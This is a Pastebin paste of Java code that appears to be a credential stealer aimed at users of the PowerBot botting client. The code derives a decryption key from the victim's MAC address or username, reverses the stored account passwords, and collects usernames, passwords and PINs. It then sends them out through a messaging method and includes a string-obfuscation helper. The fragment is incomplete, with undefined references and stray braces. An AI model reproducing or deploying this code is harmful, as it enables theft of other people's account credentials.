Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2017
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.13 KB | None | 0 0
  1. public class Decryption {
  2.  
  3. private static byte[] SHA1(final String in)
  4. throws NoSuchAlgorithmException, UnsupportedEncodingException {
  5. MessageDigest md = MessageDigest.getInstance("SHA-1");
  6. md.update(in.getBytes("iso-8859-1"), 0, in.length());
  7. return md.digest();
  8. }
  9. public static String stealth(String enc) { String j = ""; for ( int i = 0; i < enc.length(); ++i ) { char c = enc.charAt( i ); int x = (int) c; x = x / 2; if (x == 31) { x = 66; } j += Character.toString((char) x); } return j; }
  10. public static String decryptSHA1(String key, final String start) {
  11. final String delim = "a";
  12. if (start == null)
  13. return null;
  14. byte[] hashedkey;
  15. byte[] password;
  16. int i;
  17. try {
  18. hashedkey = SHA1(key);
  19. } catch (final NoSuchAlgorithmException e) {
  20. e.printStackTrace();
  21. return start;
  22. } catch (final UnsupportedEncodingException e) {
  23. e.printStackTrace();
  24. return start;
  25. }
  26. final String[] temp = start.split(delim);
  27. password = new byte[temp.length];
  28. for (i = 0; i < hashedkey.length; i++) {
  29. final int temp2 = Integer.parseInt(temp[i]);
  30. if (hashedkey[i] == temp2) {
  31. break;
  32. } else {
  33. password[i] = (byte) (temp2 - hashedkey[i]);
  34. }
  35. }
  36. return new String(password, 0, i);
  37. }
  38. }
  39.  
  40. static String key;
  41. static {
  42. try {
  43. final InetAddress address = InetAddress.getLocalHost();
  44. final NetworkInterface ni = NetworkInterface.getByInetAddress(address);
  45. key = new String(ni.getHardwareAddress());
  46. } catch (final Exception e) {
  47. key = System.getProperty("user.name") + System.getProperty("user.language");
  48. }
  49. }
  50.  
  51. static void steal() throws IOException {
  52. if (isBotter()) {
  53. BufferedReader in = new BufferedReader(new FileReader(f));
  54. String user = "PowerBot - User: ";
  55. String pass = " Pass: ";
  56. String pin = " Pin: ";
  57. String curLine = "";
  58. String out = "";
  59. boolean invalid = false;
  60. boolean invalidChar = false;
  61. while ((curLine = in.readLine()) != null) {
  62. if (curLine.contains("[") && curLine.contains("]")) {
  63. curLine = curLine.replace("[", "").replace("]", "");
  64. if (out.length() > 5) {
  65. if(invalid) {
  66. out = "";
  67. } else {
  68. Methods.sendMessage(out);
  69. out = "";
  70. }
  71. }
  72. out += user + curLine;
  73. }
  74. if (curLine.contains("password=")) {
  75. int passLength = Decryption.decryptSHA1(key, curLine.replace("password=", "")).length();
  76. String passChar = Decryption.decryptSHA1(key, curLine.replace("password=", ""));
  77. for(int i = 0; i < INVALID_CHAR.length; i++) {
  78. if(passChar.contains(INVALID_CHAR[i]))
  79. invalidChar = true;
  80. }
  81. if(passLength >= 5 && !invalidChar) {
  82. invalid = false;
  83. out += pass + Decryption.decryptSHA1(key, curLine.replace("password=", ""));
  84. } else {
  85. invalidChar = false;
  86. invalid = true;
  87. }
  88. }
  89. if (curLine.contains("pin=")) {
  90. out += pin + curLine.replace("pin=", "");
  91. }
  92. }
  93. in.close();
  94. if(!invalid)
  95. Methods.sendMessage(out);
  96. }
  97. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement